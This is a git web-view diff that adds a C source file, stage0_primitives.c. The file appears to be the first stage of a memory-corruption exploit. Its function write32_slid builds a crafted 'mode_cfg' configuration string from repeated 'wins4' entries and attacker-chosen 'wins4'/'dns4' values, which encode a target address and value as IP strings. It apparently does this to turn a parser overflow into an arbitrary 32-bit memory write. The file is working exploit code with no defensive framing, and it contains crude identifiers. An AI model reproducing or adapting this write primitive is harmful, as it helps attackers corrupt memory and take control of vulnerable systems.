summaryrefslogtreecommitdiff
path: root/src/stage0_primitives.c
diff options
context:
space:
mode:
Diffstat (limited to 'src/stage0_primitives.c')
-rwxr-xr-xsrc/stage0_primitives.c46
1 files changed, 46 insertions, 0 deletions
diff --git a/src/stage0_primitives.c b/src/stage0_primitives.c
new file mode 100755
index 0000000..b54cb1a
--- /dev/null
+++ b/src/stage0_primitives.c
@@ -0,0 +1,46 @@
+/*
+ * stage0_primitives
+ */
+
+#include <stdint.h>
+#include <stdio.h>
+
+#include "stage0_primitives.h"
+#include "ip_tools.h"
+#include "common.h"
+#include <string.h>
+#include "shit.h"
+
+//#define DNS4_OFFSET 0xb6c10
+
+char* write32_slid(uint32_t where,
+ uint32_t what) {
+ char* where_ip = NULL;
+ char* what_ip = NULL;
+ char* ret = NULL;
+
+ uint32_t where_ = where - DNS4_OFFSET;
+ where_ >>= 2;
+ where_ += 0x80000000;
+
+ where_ip = uint32_t_to_ip(where_);
+ what_ip = uint32_t_to_ip(what);
+
+ asprintf(&ret, "mode_cfg{"
+ "wins41.3.3.7;"
+ "wins41.3.3.7;"
+ "wins41.3.3.7;"
+ "wins41.3.3.7;"
+ "wins4255.255.255.255;"
+ "wins4%s;"
+ "dns4%s;"
+ "}",
+ where_ip,
+ what_ip);
+
+ strcpy(fuck_memory_leaks, ret);
+
+ free(ret);
+
+ return fuck_memory_leaks;
+} \ No newline at end of file